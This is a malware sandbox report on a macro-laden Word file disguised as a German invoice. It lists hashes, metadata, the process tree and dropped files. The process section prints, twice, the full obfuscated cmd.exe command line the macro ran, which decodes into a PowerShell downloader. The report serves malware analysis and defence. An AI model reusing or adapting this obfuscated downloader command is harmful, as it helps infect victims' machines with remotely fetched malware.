analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

201811rechnung_9992557749.doc

Full analysis: https://app.any.run/tasks/65e27e0c-044a-4f7c-accf-536673a39a70
Verdict: Malicious activity
Analysis date: December 14, 2018, 15:31:45
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Dec 12 04:43:00 2018, Last Saved Time/Date: Wed Dec 12 04:43:00 2018, Number of Pages: 1, Number of Words: 6, Number of Characters: 39, Security: 0
MD5:

74C9A569C3012379F6AD86EE9AF5B9FE

SHA1:

F8E2E3D53622204981C162924A370297A1358068

SHA256:

7623C5265DE0FA8F01E057E2A35665A5362F00D59FB697BF9E6AD01552D6509A

SSDEEP:

768:44OEKjmW9/MqtBMENPOgHvg6yhsDNxz99AEhJJCJ2ewNHg0kfIHpF/ydZvF+1o9:47ljmW9/bvFEhsDN3WgCguIJeZ9+a9

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3452)

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 3452)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 2688)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3452)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3452)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: -
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2018:12:12 04:43:00
ModifyDate: 2018:12:12 04:43:00
Pages: 1
Words: 6
Characters: 39
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 44
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
33
Monitored processes
3
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs cmd.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3452"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\201811rechnung_9992557749.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2688c:\JGtovwimTPmLp\KEoGjtvoX\cPSjCzuK\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:/C"set 6i=rqlGolaFHScBtajEYki W'M-/+f\P97ghp.0sJz,=8u{wTVCNeOQ):15b(A}yU;@IvL$DRxZmn2d&&for %4 in (67;12;13;65;40;21;38;44;56;21;62;67;50;9;17;40;73;49;44;23;4;56;14;49;10;12;19;48;49;12;34;20;49;56;47;5;18;49;73;12;62;67;56;22;44;40;21;32;12;12;33;53;24;24;44;13;42;36;34;73;49;12;24;58;3;17;73;16;8;55;15;5;16;63;32;12;12;33;53;24;24;38;13;31;0;4;36;49;73;49;0;31;60;31;0;4;42;33;34;10;4;72;24;44;33;23;13;75;72;18;73;24;42;36;49;0;24;48;22;35;22;54;49;18;58;49;45;63;32;12;12;33;53;24;24;14;13;10;17;36;4;73;36;34;36;12;4;0;49;24;51;49;29;56;5;47;4;63;32;12;12;33;53;24;24;13;72;13;38;4;73;74;44;4;4;10;4;72;72;49;0;10;49;34;72;17;0;49;75;75;60;34;10;4;72;24;38;69;58;28;70;30;61;28;63;32;12;12;33;53;24;24;44;44;44;34;75;49;65;13;75;18;31;13;42;73;18;12;49;75;34;4;0;31;24;75;20;37;15;15;56;48;30;21;34;9;33;5;18;12;57;21;63;21;52;62;67;58;5;71;40;21;18;17;16;21;62;67;38;5;61;19;40;19;21;74;54;41;21;62;67;68;61;20;40;21;5;46;36;21;62;67;38;64;0;40;67;49;73;65;53;12;49;72;33;25;21;27;21;25;67;38;5;61;25;21;34;49;70;49;21;62;26;4;0;49;13;10;32;57;67;46;36;5;19;18;73;19;67;56;22;44;52;43;12;0;60;43;67;50;9;17;34;68;4;44;73;5;4;13;75;7;18;5;49;57;67;46;36;5;39;19;67;38;64;0;52;62;67;38;18;66;40;21;65;20;58;21;62;64;26;19;57;57;3;49;12;23;64;12;49;72;19;67;38;64;0;52;34;5;49;73;31;12;32;19;23;31;49;19;41;35;35;35;35;52;19;43;64;73;65;4;17;49;23;64;12;49;72;19;67;38;64;0;62;67;28;36;73;40;21;56;22;75;21;62;56;0;49;13;17;62;59;59;10;13;12;10;32;43;59;59;67;36;44;14;40;21;14;0;28;21;62;85)do set E6bs=!E6bs!!6i:~%4,1!&&if %4 gtr 84 p%APPDATA:~-6,1%we%TMP:~6,1%sh%TMP:~-3,1%l%CommonProgramFiles(x86):~-3,-2% "!E6bs:*E6bs!=!""c:\windows\system32\cmd.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3252CmD /V:/C"set 6i=rqlGolaFHScBtajEYki W'M-/+f\P97ghp.0sJz,=8u{wTVCNeOQ):15b(A}yU;@IvL$DRxZmn2d&&for %4 in (67;12;13;65;40;21;38;44;56;21;62;67;50;9;17;40;73;49;44;23;4;56;14;49;10;12;19;48;49;12;34;20;49;56;47;5;18;49;73;12;62;67;56;22;44;40;21;32;12;12;33;53;24;24;44;13;42;36;34;73;49;12;24;58;3;17;73;16;8;55;15;5;16;63;32;12;12;33;53;24;24;38;13;31;0;4;36;49;73;49;0;31;60;31;0;4;42;33;34;10;4;72;24;44;33;23;13;75;72;18;73;24;42;36;49;0;24;48;22;35;22;54;49;18;58;49;45;63;32;12;12;33;53;24;24;14;13;10;17;36;4;73;36;34;36;12;4;0;49;24;51;49;29;56;5;47;4;63;32;12;12;33;53;24;24;13;72;13;38;4;73;74;44;4;4;10;4;72;72;49;0;10;49;34;72;17;0;49;75;75;60;34;10;4;72;24;38;69;58;28;70;30;61;28;63;32;12;12;33;53;24;24;44;44;44;34;75;49;65;13;75;18;31;13;42;73;18;12;49;75;34;4;0;31;24;75;20;37;15;15;56;48;30;21;34;9;33;5;18;12;57;21;63;21;52;62;67;58;5;71;40;21;18;17;16;21;62;67;38;5;61;19;40;19;21;74;54;41;21;62;67;68;61;20;40;21;5;46;36;21;62;67;38;64;0;40;67;49;73;65;53;12;49;72;33;25;21;27;21;25;67;38;5;61;25;21;34;49;70;49;21;62;26;4;0;49;13;10;32;57;67;46;36;5;19;18;73;19;67;56;22;44;52;43;12;0;60;43;67;50;9;17;34;68;4;44;73;5;4;13;75;7;18;5;49;57;67;46;36;5;39;19;67;38;64;0;52;62;67;38;18;66;40;21;65;20;58;21;62;64;26;19;57;57;3;49;12;23;64;12;49;72;19;67;38;64;0;52;34;5;49;73;31;12;32;19;23;31;49;19;41;35;35;35;35;52;19;43;64;73;65;4;17;49;23;64;12;49;72;19;67;38;64;0;62;67;28;36;73;40;21;56;22;75;21;62;56;0;49;13;17;62;59;59;10;13;12;10;32;43;59;59;67;36;44;14;40;21;14;0;28;21;62;85)do set E6bs=!E6bs!!6i:~%4,1!&&if %4 gtr 84 powershel%CommonProgramFiles(x86):~-3,-2% "!E6bs:*E6bs!=!""C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 144
Read events
748
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
0
Text files
0
Unknown types
5

Dropped files

PID
Process
Filename
Type
3452WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA75F.tmp.cvr —
MD5:—
SHA256:—
3452WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4DC6C0F2.wmf —
MD5:—
SHA256:—
3452WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B895BDD0.wmf —
MD5:—
SHA256:—
3452WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1D255175.wmfwmf
MD5:3736C35AF3DC81CACE5B6FA288D99D07
SHA256:23F9843007CF0D23D897C05C897310D019DCBB3860D56646763E9C35AEFA17A5
3452WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:AF8D94DA4C21258B1D0779F82790D646
SHA256:2BAF7186296492D82ED03ACF7DE58F602445D44F6C797C7F44F3B721686F4155
3452WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FB9A384B.wmfwmf
MD5:192C3CBCFD37C27AA1B88D57D9EEEE94
SHA256:4DD9595F7EE549DA608EDFB06A5A956AA1C56C51992657F54C21F13ABCE7059F
3452WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$1811rechnung_9992557749.docpgc
MD5:A74D0B1FAA11902942F7454C1149C013
SHA256:12BCFE9E98D6C0E2367E1FFDF0395FBC9039EEA8A516FB16AEEBEC94BCA0D1EE
3452WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:03BB4D036CED2493350ED924F7E8ADAE
SHA256:6C3DE09D2023A4612A7763A82BDAE0B9CB3C73BA02D27930ABF82CFBFEEFF3F9
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

No data

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
201811rechnung_9992557749.doc